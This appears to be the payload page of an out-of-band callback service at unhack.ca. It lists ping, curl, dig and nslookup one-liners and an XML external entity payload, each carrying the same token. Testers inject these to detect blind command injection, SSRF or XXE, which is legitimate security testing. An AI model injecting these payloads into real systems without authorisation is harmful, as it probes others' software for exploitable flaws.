$ ping -c1 -p 007518b4470e13ef1d68dbe3aa8ee100 unhack.ca
 

$ curl http://unhack.ca/p/7518b4470e13ef1d68dbe3aa8ee1
 

$ dig 7518b4470e13ef1d68dbe3aa8ee1 @unhack.ca
 

$ dig 7518b4470e13ef1d68dbe3aa8ee1.ns.unhack.ca
 

C:\> nslookup 7518b4470e13ef1d68dbe3aa8ee1 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7518b4470e13ef1d68dbe3aa8ee1">]>
    <foo>&xxe;</foo>